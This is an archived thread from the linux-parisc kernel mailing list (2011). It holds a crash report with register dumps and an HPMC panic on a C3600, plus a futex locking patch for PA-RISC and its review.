Message-ID: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1317108766 27942 80.91.229.12 (27 Sep 2011 07:32:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 27 Sep 2011 07:32:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 27 09:32:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R8S9h-0000IN-0L
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Sep 2011 09:32:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751856Ab1I0Hck (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Sep 2011 03:32:40 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41596 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751713Ab1I0Hcj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Sep 2011 03:32:39 -0400
Original-Received: (qmail 32135 invoked by uid 81); 27 Sep 2011 07:32:37 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 27 Sep 2011 09:32:37 +0200
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3962>

I'm running the CMake tests every night. This is the second time in a row
that my C3600 did not survive this. Since I was warned I connected a
serial console.

The first things are expected crashes from CMake as detecting a crashed
process is part of the tests. I wonder if these shouldn't be silenced as a
userspace crash could otherwise too easily be used to flood the logs.

do_page_fault() pid=16799 command='kwsysTestProces' type=15
address=0x00000000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  0006ff0f 1041b000 00011ee3 fb46f4c0
r04-07  4072adc0 00000000 fb36b02c 0001cd60
r08-11  00000000 000e6e20 00000000 00000000
r12-15  00000000 000e59c0 000e2d24 ffffffff
r16-19  000e2d14 000e3e20 00000000 4072adc0
r20-23  1054f020 00000000 406427e4 ffffffff
r24-27  fffffff5 ffffffd3 4072cd24 0001b0e4
r28-31  00000000 00000001 fb46f500 4063192b
sr00-03  00000030 00000017 00000000 00000030
sr04-07  00000030 00000030 00000030 00000030

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  41d3a02318ce6e4c 2800000000000000 0000000190000000 402e000000000000
fr08-11  000000601be80000 1059900010544330 0000000000000000 105fbd602fc260c8
fr12-15  41d3a01d2d9ab424 0000008110131d00 105b68001055eca8 1055eca810560cf0
fr16-19  0004000f1055f000 10131d0000000003 105b48c0105b48f4 000000371055f1e8
fr20-23  2fc30158105a4800 3b9aca001055f000 000000000000002f 00001c7418c00000
fr24-27  410b865000000000 3fe0000000000000 412e848000000000 1029341c102c3848
fr28-31  ffffffff000032a4 1055f1d010544000 0000000100000228 2fc302001011a264

IASQ: 00000030 00000030 IAOQ: 00011ee7 00011eeb
 IIR: 0f801280    ISR: 00000030  IOR: 00000000
 CPU:        0   CR30: 2ed5c000 CR31: ffffdffe
 ORIG_R28: 00000000
 IAOQ[0]: 00011ee7
 IAOQ[1]: 00011eeb
 RP(r2): 00011ee3

do_page_fault() pid=16827 command='kwsysTestProces' type=15
address=0x00000000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  0006ff0f 1041b000 00011ee3 fb2a74c0
r04-07  4072adc0 00000000 fb61702c 0001cd60
r08-11  00000000 000e6e20 00000000 00000000
r12-15  00000000 000e59c0 000e2d24 ffffffff
r16-19  000e2d14 000e3e20 00000000 4072adc0
r20-23  1054f020 00000000 406427e4 ffffffff
r24-27  fffffff5 ffffffd3 4072cd24 0001b0e4
r28-31  00000000 00000001 fb2a7500 4063192b
sr00-03  00000032 00000017 00000000 00000032
sr04-07  00000032 00000032 00000032 00000032

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  41d3a02319c7bbbf 2800000000000000 0000000190000000 403e000000000000
fr08-11  0000005c3e100000 1059900010544330 0000000000000000 105fbd602fc260c8
fr12-15  41d3a01d2d9ab424 0000008110131d00 105b68001055eca8 1055eca810560cf0
fr16-19  0004000f1055f000 10131d0000000003 105b48c0105b48f4 000000371055f1e8
fr20-23  2fc30158105a4800 3b9aca001055f000 000000000000002f 00001c7419c00000
fr24-27  40fd802000000000 3fe0000000000000 412e848000000000 1029341c102c3848
fr28-31  ffffffff000032a4 1055f1d010544000 0000000100000228 2fc302001011a264

IASQ: 00000032 00000032 IAOQ: 00011ee7 00011eeb
 IIR: 0f801280    ISR: 00000032  IOR: 00000000
 CPU:        0   CR30: 2095c000 CR31: ffffdffe
 ORIG_R28: 00000000
 IAOQ[0]: 00011ee7
 IAOQ[1]: 00011eeb
 RP(r2): 00011ee3

But then the machine got killed:

Backtrace:
 [<1030b9ec>] tulip_get_stats+0x34/0x5c
 [<1038ac20>] dev_get_stats+0x98/0xe8
 [<102946b4>] led_work_func+0x11c/0x310
 [<10145204>] process_one_work+0x120/0x3ac
 [<10147110>] worker_thread+0x174/0x338
 [<1014b0b4>] kthread+0x9c/0xa4
 [<10102c5c>] ret_from_kernel_thread+0x1c/0x24


High Priority Machine Check (HPMC): Code=1 regs=10551080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 105bf000 1030b9ec 2fc72000
r04-07  0000000f 00000000 00000000 00000000
r08-11  2fc72000 105bf600 2fea4208 7f000000
r12-15  2fea4210 105ba000 10544000 2fc2f408
r16-19  1041d1dc f000017c f0000174 2fea4210
r20-23  0099f055 0099f050 1030b9b8 00000000
r24-27  2ff57008 2fea4210 0004a040 10544000
r28-31  0004a040 f68e066d 2fea4400 1038ac20
sr00-03  00000000 00000000 00000000 00000017
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10284394 10284398
 IIR: 0f80109c    ISR: a627ffd0  IOR: 0204a040
 CPU:        0   CR30: 2fea4000 CR31: ffffdffe
 ORIG_R28: 00000000
 IAOQ[0]: ioread32+0xc/0x4c
 IAOQ[1]: ioread32+0x10/0x4c
 RP(r2): tulip_get_stats+0x34/0x5c
Backtrace:
 [<1030b9ec>] tulip_get_stats+0x34/0x5c
 [<1038ac20>] dev_get_stats+0x98/0xe8
 [<102946b4>] led_work_func+0x11c/0x310
 [<10145204>] process_one_work+0x120/0x3ac
 [<10147110>] worker_thread+0x174/0x338
 [<1014b0b4>] kthread+0x9c/0xa4
 [<10102c5c>] ret_from_kernel_thread+0x1c/0x24

Kernel panic - not syncing: High Priority Machine Check (HPMC)
Backtrace:
 [<1010edec>] panic+0x90/0x23c
 [<101143b8>] parisc_terminate+0xbc/0xd4
 [<1011458c>] handle_interruption+0x1bc/0x718
 [<10103078>] intr_check_sig+0x0/0x34
 [<10284398>] ioread32+0x10/0x4c
 [<103e8fc0>] bictcp_acked+0x0/0x228

I'm running 3.0.4 with d7dd2ff11b7fcd425aca5a875983c862d19a67ae reverted.

Any hints?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 9 Oct 2011 16:40:10 -0400
Organization: nrc.ca
Lines: 86
Approved: news@gmane.org
Message-ID: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1318193304 12401 80.91.229.12 (9 Oct 2011 20:48:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2011 20:48:24 +0000 (UTC)
Cc: jejb@parisc-linux.org, kyle@mcmartin.ca, deller@gmx.de,
	carlos@systemhalted.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 22:48:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RD0IF-0003gS-7e
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 Oct 2011 22:48:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751291Ab1JIUsR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Oct 2011 16:48:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1223 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751618Ab1JIUsR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Oct 2011 16:48:17 -0400
X-Greylist: delayed 483 seconds by postgrey-1.27 at vger.kernel.org; Sun, 09 Oct 2011 16:48:16 EDT
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 998734DE3; Sun,  9 Oct 2011 16:40:11 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3964>

In debugging the failure of the glibc tst-cond18 test on parisc, I realized
that futexes need to use the same locks the lws calls.  This fixes all the
pthread 'cond' tests.  Sadly, there are still problems with thread cancellation.

Signed-of-by: John David Anglin <dave.anglin@bell.net>

diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 2388bdb..a8d0586 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -8,6 +8,29 @@
 #include <asm/atomic.h>
 #include <asm/errno.h>
 
+/* The following has to match the LWS code in syscall.S.  We have
+   sixteen four-word locks. */
+
+static inline void
+_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
+{
+  extern u32 lws_lock_start[];
+  long index = ((long)uaddr & 0xf0) >> 2;
+  arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+  local_irq_save(*flags);
+  arch_spin_lock(s);
+}
+
+static inline void
+_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int *flags)
+{
+  extern u32 lws_lock_start[];
+  long index = ((long)uaddr & 0xf0) >> 2;
+  arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+  arch_spin_unlock(s);
+  local_irq_restore(*flags);
+}
+
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
@@ -26,7 +49,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -71,7 +94,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 		ret = -ENOSYS;
 	}
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	pagefault_enable();
 
@@ -113,7 +136,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	 * address. This should scale to a couple of CPUs.
 	 */
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	ret = get_user(val, uaddr);
 
@@ -122,7 +145,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 	*uval = val;
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	return ret;
 }

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 10 Oct 2011 16:30:33 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <c8d367ff965bc196cc6964ad56d64d72.squirrel@webmail.sf-mail.de>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1318257044 30485 80.91.229.12 (10 Oct 2011 14:30:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2011 14:30:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 10 16:30:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDGsI-0005LJ-7b
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Oct 2011 16:30:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754368Ab1JJOah (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Oct 2011 10:30:37 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37828 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754321Ab1JJOah (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Oct 2011 10:30:37 -0400
Original-Received: (qmail 4981 invoked by uid 81); 10 Oct 2011 14:30:33 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 10 Oct 2011 16:30:33 +0200
In-Reply-To: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3965>

> In debugging the failure of the glibc tst-cond18 test on parisc, I
> realized
> that futexes need to use the same locks the lws calls.  This fixes all the
> pthread 'cond' tests.  Sadly, there are still problems with thread
> cancellation.
>
> Signed-of-by: John David Anglin <dave.anglin@bell.net>
>
> diff --git a/arch/parisc/include/asm/futex.h
> b/arch/parisc/include/asm/futex.h
> index 2388bdb..a8d0586 100644
> --- a/arch/parisc/include/asm/futex.h
> +++ b/arch/parisc/include/asm/futex.h
> @@ -8,6 +8,29 @@
>  #include <asm/atomic.h>
>  #include <asm/errno.h>
>
> +/* The following has to match the LWS code in syscall.S.  We have
> +   sixteen four-word locks. */
> +
> +static inline void
> +_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
> +{
> +  extern u32 lws_lock_start[];
> +  long index = ((long)uaddr & 0xf0) >> 2;
> +  arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
> +  local_irq_save(*flags);
> +  arch_spin_lock(s);
> +}
> +
> +static inline void
> +_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int
> *flags)
> +{
> +  extern u32 lws_lock_start[];
> +  long index = ((long)uaddr & 0xf0) >> 2;
> +  arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
> +  arch_spin_unlock(s);
> +  local_irq_restore(*flags);
> +}
> +
>  static inline int
>  futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
>  {

This needs tabs.

Greetings,

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 10 Oct 2011 16:27:41 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4016B341D99CEA04B6902197FD0@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <c8d367ff965bc196cc6964ad56d64d72.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-6-668844961"
X-Trace: dough.gmane.org 1318278483 25792 80.91.229.12 (10 Oct 2011 20:28:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2011 20:28:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 10 22:27:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDMS2-0007Xv-Ci
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Oct 2011 22:27:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752633Ab1JJU1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Oct 2011 16:27:52 -0400
Original-Received: from blu0-omc3-s27.blu0.hotmail.com ([65.55.116.102]:33155 "EHLO
	blu0-omc3-s27.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752495Ab1JJU1v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Oct 2011 16:27:51 -0400
Original-Received: from BLU0-SMTP40 ([65.55.116.72]) by blu0-omc3-s27.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 10 Oct 2011 13:27:50 -0700
X-Originating-IP: [174.92.93.57]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.93.57]) by BLU0-SMTP40.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 10 Oct 2011 13:27:50 -0700
In-Reply-To: <c8d367ff965bc196cc6964ad56d64d72.squirrel@webmail.sf-mail.de>
X-Priority: 3 (Normal)
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 Oct 2011 20:27:50.0631 (UTC) FILETIME=[14D06F70:01CC878B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3966
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3966>

--Apple-Mail-6-668844961
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 10-Oct-11, at 10:30 AM, Rolf Eike Beer wrote:

> This needs tabs.

Sorry, linux style isn't what I normally use.  Change has been updated  
with tabs.

Signed-off-by:  John David Anglin  <dave.anglin@bell.net>


--Apple-Mail-6-668844961
Content-Disposition: attachment; filename="futex.h.d.1"
Content-Type: application/octet-stream; x-unix-mode=0644; name="futex.h.d.1"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 2388bdb..7839285 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -8,6 +8,29 @@
 #include <asm/atomic.h>
 #include <asm/errno.h>
 
+/* The following has to match the LWS code in syscall.S.  We have
+   sixteen four-word locks. */
+
+static inline void
+_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	local_irq_save(*flags);
+	arch_spin_lock(s);
+}
+
+static inline void
+_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spin_unlock(s);
+	local_irq_restore(*flags);
+}
+
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
@@ -26,7 +49,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -71,7 +94,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 		ret = -ENOSYS;
 	}
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	pagefault_enable();
 
@@ -113,7 +136,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	 * address. This should scale to a couple of CPUs.
 	 */
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	ret = get_user(val, uaddr);
 
@@ -122,7 +145,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 	*uval = val;
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	return ret;
 }

--Apple-Mail-6-668844961
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit




Dave
--
John David Anglin	dave.anglin@bell.net




--Apple-Mail-6-668844961--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 10 Oct 2011 15:30:52 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1318278652.3005.95.camel@dabdike.int.hansenpartnership.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	 <c8d367ff965bc196cc6964ad56d64d72.squirrel@webmail.sf-mail.de>
	 <BLU0-SMTP4016B341D99CEA04B6902197FD0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318278665 27019 80.91.229.12 (10 Oct 2011 20:31:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Oct 2011 20:31:05 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 10 22:31:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDMV0-0000Qg-GI
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Oct 2011 22:30:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752939Ab1JJUa5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Oct 2011 16:30:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59828 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752810Ab1JJUa5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Oct 2011 16:30:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5F25B8EE07C;
	Mon, 10 Oct 2011 13:30:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id imTEaC+Ft9hX; Mon, 10 Oct 2011 13:30:56 -0700 (PDT)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EB43C8EE06E;
	Mon, 10 Oct 2011 13:30:53 -0700 (PDT)
In-Reply-To: <BLU0-SMTP4016B341D99CEA04B6902197FD0@phx.gbl>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3967>

On Mon, 2011-10-10 at 16:27 -0400, John David Anglin wrote:
> On 10-Oct-11, at 10:30 AM, Rolf Eike Beer wrote:
> 
> > This needs tabs.
> 
> Sorry, linux style isn't what I normally use.  Change has been updated  
> with tabs.

Don't worry.  I tend to fix all of this stuff up on import, which I did
this morning when I started it in my testing environment.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC running CMake Nightly tests
Date: Tue, 11 Oct 2011 22:32:01 -0600
Lines: 97
Approved: news@gmane.org
Message-ID: <20111012043201.GA22657@parisc-linux.org>
References: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1318393937 23354 80.91.229.12 (12 Oct 2011 04:32:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 12 Oct 2011 04:32:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 12 06:32:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
